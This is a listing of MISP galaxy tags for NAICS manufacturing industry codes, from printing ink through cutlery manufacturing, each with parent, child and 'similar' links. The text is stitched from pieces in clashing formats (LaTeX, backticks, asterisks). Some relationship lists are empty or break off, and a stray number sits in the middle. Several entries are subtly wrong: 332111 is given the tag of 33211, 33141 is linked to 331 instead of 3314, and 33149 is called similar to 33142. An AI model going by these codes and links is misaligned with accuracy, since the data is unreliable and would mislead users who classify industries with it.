- parent-of: misp-galaxy:naics="325991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325998" with estimative-language:likelihood-probability="likely"
32591
Printing Ink Manufacturing
The tag is: misp-galaxy:naics="32591"
View relationships graph
32591 has relationships with:
• child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="325910" with estimative-language:likelihood-probability="likely"

325910
Printing Ink Manufacturing
The tag is: misp-galaxy:naics="325910"
View relationships graph
325910 has relationships with:
• child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="32591" with estimative-language:likelihood-probability="likely"

32592
Explosives Manufacturing
The tag is: misp-galaxy:naics="32592"
View relationships graph
32592 has relationships with:
• child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="325920" with estimative-language:likelihood-probability="likely"

325920
Explosives Manufacturing
The tag is: misp-galaxy:naics="325920"
View relationships graph
325920 has relationships with:
32599
All Other Chemical Product and Preparation Manufacturing
The tag is: \textit{misp-galaxy:naics="32599"}

View relationships graph

32599 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

325991
Custom Compounding of Purchased Resins
The tag is: \textit{misp-galaxy:naics="325991"}

View relationships graph

325991 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

325992
Photographic Film, Paper, Plate, Chemical, and Copy Toner Manufacturing
The tag is: \textit{misp-galaxy:naics="325992"}

View relationships graph

325992 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

325998
All Other Miscellaneous Chemical Product and Preparation Manufacturing
The tag is: \textit{misp-galaxy:naics="325998"}

View relationships graph

325998 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"
326
Plastics and Rubber Products Manufacturing
The tag is: misp-galaxy:naics="326"
View relationships graph
326 has relationships with:
  • parent-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

3261
Plastics Product Manufacturing
The tag is: misp-galaxy:naics="3261"
View relationships graph
3261 has relationships with:
  • child-of: misp-galaxy:naics="326" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="32611" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326111" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326112" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326113" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="32612" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326121" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326122" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="32613" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326130" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="32614" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326140" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="32615" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326150" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="32616" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326160" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="32619" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326191" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="326199" with estimative-language:likelihood-probability="likely"
32611
Plastics Packaging Materials and Unlaminated Film and Sheet Manufacturing
The tag is: misp-galaxy:naics="32611"
View relationships graph
32611 has relationships with:
  • child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326111
Plastics Bag and Pouch Manufacturing
The tag is: misp-galaxy:naics="326111"
View relationships graph
326111 has relationships with:
  • child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326112
Plastics Packaging Film and Sheet (including Laminated) Manufacturing
The tag is: misp-galaxy:naics="326112"
View relationships graph
326112 has relationships with:
  • child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326113
Unlaminated Plastics Film and Sheet (except Packaging) Manufacturing
The tag is: misp-galaxy:naics="326113"
View relationships graph
326113 has relationships with:
  • child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
32612
Plastics Pipe, Pipe Fitting, and Unlaminated Profile Shape Manufacturing
The tag is: misp-galaxy:naics="32612"
View relationships graph
32612 has relationships with:
  • child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326121
Unlaminated Plastics Profile Shape Manufacturing
The tag is: misp-galaxy:naics="326121"
View relationships graph
326121 has relationships with:
  • child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326122
Plastics Pipe and Pipe Fitting Manufacturing
The tag is: misp-galaxy:naics="326122"
View relationships graph
326122 has relationships with:
  • child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

32613
Laminated Plastics Plate, Sheet (except Packaging), and Shape Manufacturing
The tag is: misp-galaxy:naics="32613"
View relationships graph
32613 has relationships with:
  • child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="326130" with estimative-language:likelihood-probability="likely"
326130
Laminated Plastics Plate, Sheet (except Packaging), and Shape Manufacturing
The tag is: misp-galaxy:naics="326130"
View relationships graph
326130 has relationships with:
• child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="32613" with estimative-language:likelihood-probability="likely"

32614
Polystyrene Foam Product Manufacturing
The tag is: misp-galaxy:naics="32614"
View relationships graph
32614 has relationships with:
• child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="326140" with estimative-language:likelihood-probability="likely"

326140
Polystyrene Foam Product Manufacturing
The tag is: misp-galaxy:naics="326140"
View relationships graph
326140 has relationships with:
• child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="32614" with estimative-language:likelihood-probability="likely"

32615
Urethane and Other Foam Product (except Polystyrene) Manufacturing
The tag is: misp-galaxy:naics="32615"
View relationships graph
32615 has relationships with:
326150
Urethane and Other Foam Product (except Polystyrene) Manufacturing
The tag is: *misp-galaxy:naics="326150"*

View relationships graph

326150 has relationships with:

- child-of: *misp-galaxy:naics="3261"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="32615"* with estimative-language:likelihood-probability="likely"

32616
Plastics Bottle Manufacturing
The tag is: *misp-galaxy:naics="32616"*

View relationships graph

32616 has relationships with:

- child-of: *misp-galaxy:naics="3261"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="326160"* with estimative-language:likelihood-probability="likely"

326160
Plastics Bottle Manufacturing
The tag is: *misp-galaxy:naics="326160"*

View relationships graph

326160 has relationships with:

- child-of: *misp-galaxy:naics="3261"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="32616"* with estimative-language:likelihood-probability="likely"

32619
Other Plastics Product Manufacturing
The tag is: *misp-galaxy:naics="32619"*
32619 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326191

Plastics Plumbing Fixture Manufacturing

The tag is: misp-galaxy:naics="326191"

326199

All Other Plastics Product Manufacturing

The tag is: misp-galaxy:naics="326199"

3262

Rubber Product Manufacturing

The tag is: misp-galaxy:naics="3262"

4494
• parent-of: misp-galaxy:naics="326291" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="326299" with estimative-language:likelihood-probability="likely"

32621
Tire Manufacturing
The tag is: misp-galaxy:naics="32621"

View relationships graph

32621 has relationships with:
• child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

326211
Tire Manufacturing (except Retreading)
The tag is: misp-galaxy:naics="326211"

View relationships graph

326211 has relationships with:
• child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

326212
Tire Retreading
The tag is: misp-galaxy:naics="326212"

View relationships graph

326212 has relationships with:
• child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

32622
Rubber and Plastics Hoses and Belting Manufacturing
The tag is: misp-galaxy:naics="32622"

View relationships graph

32622 has relationships with:
• child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"
326220
Rubber and Plastics Hoses and Belting Manufacturing
The tag is: `misp-galaxy:naics="326220"`
View relationships graph

326220 has relationships with:

- child-of: `misp-galaxy:naics="3262"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="32622"` with estimative-language:likelihood-probability="likely"

32629
Other Rubber Product Manufacturing
The tag is: `misp-galaxy:naics="32629"`
View relationships graph

32629 has relationships with:

- child-of: `misp-galaxy:naics="3262"` with estimative-language:likelihood-probability="likely"

326291
Rubber Product Manufacturing for Mechanical Use
The tag is: `misp-galaxy:naics="326291"`
View relationships graph

326291 has relationships with:

- child-of: `misp-galaxy:naics="3262"` with estimative-language:likelihood-probability="likely"

326299
All Other Rubber Product Manufacturing
The tag is: `misp-galaxy:naics="326299"`
View relationships graph

326299 has relationships with:

- child-of: `misp-galaxy:naics="3262"` with estimative-language:likelihood-probability="likely"
327
Nonmetallic Mineral Product Manufacturing
The tag is: misp-galaxy:naics="327"
View relationships graph
327 has relationships with:
• parent-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3272" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

3271
Clay Product and Refractory Manufacturing
The tag is: misp-galaxy:naics="3271"
View relationships graph
3271 has relationships with:
• child-of: misp-galaxy:naics="327" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="32711" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="327110" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="32712" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="327120" with estimative-language:likelihood-probability="likely"

32711
Pottery, Ceramics, and Plumbing Fixture Manufacturing
The tag is: misp-galaxy:naics="32711"
View relationships graph
32711 has relationships with:
• child-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="327110" with estimative-language:likelihood-probability="likely"
327110
Pottery, Ceramics, and Plumbing Fixture Manufacturing
The tag is: misp-galaxy:naics="327110"
View relationships graph
327110 has relationships with:
  • child-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="32711" with estimative-language:likelihood-probability="likely"

32712
Clay Building Material and Refractories Manufacturing
The tag is: misp-galaxy:naics="32712"
View relationships graph
32712 has relationships with:
  • child-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="327120" with estimative-language:likelihood-probability="likely"

327120
Clay Building Material and Refractories Manufacturing
The tag is: misp-galaxy:naics="327120"
View relationships graph
327120 has relationships with:
  • child-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="32712" with estimative-language:likelihood-probability="likely"

3272
Glass and Glass Product Manufacturing
The tag is: misp-galaxy:naics="3272"
View relationships graph
3272 has relationships with:
32721
Glass and Glass Product Manufacturing

The tag is: `misp-galaxy:naics="32721"`

View relationships graph

32721 has relationships with:

- child-of: `misp-galaxy:naics="3272"` with estimative-language:likelihood-probability="likely"

327211
Flat Glass Manufacturing

The tag is: `misp-galaxy:naics="327211"`

View relationships graph

327211 has relationships with:

- child-of: `misp-galaxy:naics="3272"` with estimative-language:likelihood-probability="likely"

327212
Other Pressed and Blown Glass and Glassware Manufacturing

The tag is: `misp-galaxy:naics="327212"`

View relationships graph

327212 has relationships with:

- child-of: `misp-galaxy:naics="3272"` with estimative-language:likelihood-probability="likely"

327213
Glass Container Manufacturing

The tag is: `misp-galaxy:naics="327213"`
327213 has relationships with:

- child-of: misp-galaxy:naics="3272" with estimative-language:likelihood-probability="likely"

327215

Glass Product Manufacturing Made of Purchased Glass

The tag is: misp-galaxy:naics="327215"

3273

Cement and Concrete Product Manufacturing

The tag is: misp-galaxy:naics="3273"

32731

Cement Manufacturing

The tag is: misp-galaxy:naics="32731"
32731 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327310" with estimative-language:likelihood-probability="likely"

327310
Cement Manufacturing
The tag is: misp-galaxy:naics="327310"

View relationships graph

327310 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32731" with estimative-language:likelihood-probability="likely"

32732
Ready-Mix Concrete Manufacturing
The tag is: misp-galaxy:naics="32732"

View relationships graph

32732 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327320" with estimative-language:likelihood-probability="likely"

327320
Ready-Mix Concrete Manufacturing
The tag is: misp-galaxy:naics="327320"

View relationships graph

327320 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32732" with estimative-language:likelihood-probability="likely"

32733
Concrete Pipe, Brick, and Block Manufacturing
The tag is: misp-galaxy:naics="32733"

View relationships graph

32733 has relationships with:

• child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"

327331
Concrete Block and Brick Manufacturing
The tag is: misp-galaxy:naics="327331"

View relationships graph

327331 has relationships with:

• child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"

327332
Concrete Pipe Manufacturing
The tag is: misp-galaxy:naics="327332"

View relationships graph

327332 has relationships with:

• child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"

32739
Other Concrete Product Manufacturing
The tag is: misp-galaxy:naics="32739"

View relationships graph

32739 has relationships with:

• child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="327390" with estimative-language:likelihood-probability="likely"

327390
Other Concrete Product Manufacturing
The tag is: misp-galaxy:naics="327390"
View relationships graph

327390 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32739" with estimative-language:likelihood-probability="likely"

3274

Lime and Gypsum Product Manufacturing

The tag is: misp-galaxy:naics="3274"

View relationships graph

3274 has relationships with:

- child-of: misp-galaxy:naics="327" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32741" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32742" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327420" with estimative-language:likelihood-probability="likely"

32741

Lime Manufacturing

The tag is: misp-galaxy:naics="32741"

View relationships graph

32741 has relationships with:

- child-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327410" with estimative-language:likelihood-probability="likely"

327410

Lime Manufacturing

The tag is: misp-galaxy:naics="327410"

View relationships graph

327410 has relationships with:

- child-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
32742
Gypsum Product Manufacturing
The tag is: misp-galaxy:naics="32742"
View relationships graph
32742 has relationships with:
- child-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327420" with estimative-language:likelihood-probability="likely"

327420
Gypsum Product Manufacturing
The tag is: misp-galaxy:naics="327420"
View relationships graph
327420 has relationships with:
- child-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32742" with estimative-language:likelihood-probability="likely"

3279
Other Nonmetallic Mineral Product Manufacturing
The tag is: misp-galaxy:naics="3279"
View relationships graph
3279 has relationships with:
- child-of: misp-galaxy:naics="327" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32791" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32799" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327999" with estimative-language:likelihood-probability="likely"
32791
Abrasive Product Manufacturing
The tag is: `misp-galaxy:naics="32791"`
View relationships graph

32791 has relationships with:

- child-of: `misp-galaxy:naics="3279"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="327910"` with estimative-language:likelihood-probability="likely"

327910
Abrasive Product Manufacturing
The tag is: `misp-galaxy:naics="327910"`
View relationships graph

327910 has relationships with:

- child-of: `misp-galaxy:naics="3279"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="32791"` with estimative-language:likelihood-probability="likely"

32799
All Other Nonmetallic Mineral Product Manufacturing
The tag is: `misp-galaxy:naics="32799"`
View relationships graph

32799 has relationships with:

- child-of: `misp-galaxy:naics="3279"` with estimative-language:likelihood-probability="likely"

327991
Cut Stone and Stone Product Manufacturing
The tag is: `misp-galaxy:naics="327991"`
View relationships graph

327991 has relationships with:

- child-of: `misp-galaxy:naics="3279"` with estimative-language:likelihood-probability="likely"
327992
Ground or Treated Mineral and Earth Manufacturing
The tag is: misp-galaxy:naics="327992"

View relationships graph

327992 has relationships with:

• child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

327993
Mineral Wool Manufacturing
The tag is: misp-galaxy:naics="327993"

View relationships graph

327993 has relationships with:

• child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

327999
All Other Miscellaneous Nonmetallic Mineral Product Manufacturing
The tag is: misp-galaxy:naics="327999"

View relationships graph

327999 has relationships with:

• child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

331
Primary Metal Manufacturing
The tag is: misp-galaxy:naics="331"

View relationships graph

331 has relationships with:

• parent-of: misp-galaxy:naics="3311" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"
3311
Iron and Steel Mills and Ferroalloy Manufacturing
The tag is: misp-galaxy:naics="3311"
View relationships graph

33111
Iron and Steel Mills and Ferroalloy Manufacturing
The tag is: misp-galaxy:naics="33111"
View relationships graph

331110
Iron and Steel Mills and Ferroalloy Manufacturing
The tag is: misp-galaxy:naics="331110"
View relationships graph

3312
Steel Product Manufacturing from Purchased Steel
The tag is: misp-galaxy:naics="3312"
3312 has relationships with:

- child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331222" with estimative-language:likelihood-probability="likely"

33121
Iron and Steel Pipe and Tube Manufacturing from Purchased Steel
The tag is: misp-galaxy:naics="33121"

33121 has relationships with:

- child-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="331210" with estimative-language:likelihood-probability="likely"

331210
Iron and Steel Pipe and Tube Manufacturing from Purchased Steel
The tag is: misp-galaxy:naics="331210"

33122
Rolling and Drawing of Purchased Steel
The tag is: misp-galaxy:naics="33122"
331221
Rolled Steel Shape Manufacturing
The tag is: `misp-galaxy:naics="331221"`
View relationships graph
331221 has relationships with:
  - child-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"

331222
Steel Wire Drawing
The tag is: `misp-galaxy:naics="331222"`
View relationships graph
331222 has relationships with:
  - child-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"

3313
Alumina and Aluminum Production and Processing
The tag is: `misp-galaxy:naics="3313"`
View relationships graph
3313 has relationships with:
  - child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="33131" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="331313" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="331314" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="331318" with estimative-language:likelihood-probability="likely"

33131
Alumina and Aluminum Production and Processing
The tag is: `misp-galaxy:naics="33131"`
33131 has relationships with:

- child-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"

331313

Alumina Refining and Primary Aluminum Production

The tag is: misp-galaxy:naics="331313"

331314

Secondary Smelting and Alloying of Aluminum

The tag is: misp-galaxy:naics="331314"

331315

Aluminum Sheet, Plate, and Foil Manufacturing

The tag is: misp-galaxy:naics="331315"

331318

Other Aluminum Rolling, Drawing, and Extruding

The tag is: misp-galaxy:naics="331318"
331318 has relationships with:

- child-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"

3314

Nonferrous Metal (except Aluminum) Production and Processing

The tag is: misp-galaxy:naics="3314"

View relationships graph

3314 has relationships with:

- child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33149" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331492" with estimative-language:likelihood-probability="likely"

33141

Nonferrous Metal (except Aluminum) Smelting and Refining

The tag is: misp-galaxy:naics="33141"

View relationships graph

33141 has relationships with:

- child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="331410" with estimative-language:likelihood-probability="likely"

331410

Nonferrous Metal (except Aluminum) Smelting and Refining

The tag is: misp-galaxy:naics="331410"

View relationships graph

331410 has relationships with:

- child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"
33142
Copper Rolling, Drawing, Extruding, and Alloying
The tag is: *misp-galaxy:naics*="33142"

View relationships graph

33142 has relationships with:

- child-of: *misp-galaxy:naics*="3314" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="331420" with estimative-language:likelihood-probability="likely"

331420
Copper Rolling, Drawing, Extruding, and Alloying
The tag is: *misp-galaxy:naics*="331420"

View relationships graph

331420 has relationships with:

- child-of: *misp-galaxy:naics*="3314" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="33142" with estimative-language:likelihood-probability="likely"

33149
Nonferrous Metal (except Copper and Aluminum) Rolling, Drawing, Extruding, and Alloying
The tag is: *misp-galaxy:naics*="33149"

View relationships graph

33149 has relationships with:

- child-of: *misp-galaxy:naics*="3314" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="33142" with estimative-language:likelihood-probability="likely"

331491
Nonferrous Metal (except Copper and Aluminum) Rolling, Drawing, and Extruding
The tag is: *misp-galaxy:naics*="331491"

View relationships graph

331491 has relationships with:
331492
Secondary Smelting, Refining, and Alloying of Nonferrous Metal (except Copper and Aluminum)
The tag is: misp-galaxy:naics="331492"

View relationships graph

331492 has relationships with:

• child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"

3315
Foundries
The tag is: misp-galaxy:naics="3315"

View relationships graph

3315 has relationships with:

• child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33151" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="331511" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="331512" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="331513" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33152" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="331523" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="331524" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="331529" with estimative-language:likelihood-probability="likely"

33151
Ferrous Metal Foundries
The tag is: misp-galaxy:naics="33151"

View relationships graph

33151 has relationships with:

• child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"
331511
Iron Foundries
The tag is: misp-galaxy:naics="331511"
View relationships graph
331511 has relationships with:
  • child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331512
Steel Investment Foundries
The tag is: misp-galaxy:naics="331512"
View relationships graph
331512 has relationships with:
  • child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331513
Steel Foundries (except Investment)
The tag is: misp-galaxy:naics="331513"
View relationships graph
331513 has relationships with:
  • child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

33152
Nonferrous Metal Foundries
The tag is: misp-galaxy:naics="33152"
View relationships graph
33152 has relationships with:
  • child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"
331523
Nonferrous Metal Die-Casting Foundries
The tag is: misp-galaxy:naics="331523"
View relationships graph
331523 has relationships with:
  • child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331524
Aluminum Foundries (except Die-Casting)
The tag is: misp-galaxy:naics="331524"
View relationships graph
331524 has relationships with:
  • child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331529
Other Nonferrous Metal Foundries (except Die-Casting)
The tag is: misp-galaxy:naics="331529"
View relationships graph
331529 has relationships with:
  • child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

332
Fabricated Metal Product Manufacturing
The tag is: misp-galaxy:naics="332"
View relationships graph
332 has relationships with:
  • parent-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="3322" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3325" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3326" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

3321

Forging and Stamping

The tag is: misp-galaxy:naics="3321"

View relationships graph

3321 has relationships with:
• child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33211" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="332111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="332112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="332114" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="332117" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="332119" with estimative-language:likelihood-probability="likely"

33211

Forging and Stamping

The tag is: misp-galaxy:naics="33211"

View relationships graph

33211 has relationships with:
• child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

332111

Iron and Steel Forging

The tag is: misp-galaxy:naics="33211"

View relationships graph
332111 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

**332112**

Nonferrous Forging

The tag is: misp-galaxy:naics="332112"

View relationships graph

332112 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

**332114**

Custom Roll Forming

The tag is: misp-galaxy:naics="332114"

View relationships graph

332114 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

**332117**

Powder Metallurgy Part Manufacturing

The tag is: misp-galaxy:naics="332117"

View relationships graph

332117 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

**332119**

Metal Crown, Closure, and Other Metal Stamping (except Automotive)

The tag is: misp-galaxy:naics="332119"

View relationships graph

332119 has relationships with:
3322
Cutlery and Handtool Manufacturing
The tag is: misp-galaxy:naics="3322"
View relationships graph
3322 has relationships with:

• child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33221" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="332215" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="332216" with estimative-language:likelihood-probability="likely"

33221
Cutlery and Handtool Manufacturing
The tag is: misp-galaxy:naics="33221"
View relationships graph
33221 has relationships with:

• child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"

332215
Metal Kitchen Cookware, Utensil, Cutlery, and Flatware (except Precious) Manufacturing
The tag is: misp-galaxy:naics="332215"
View relationships graph
332215 has relationships with:

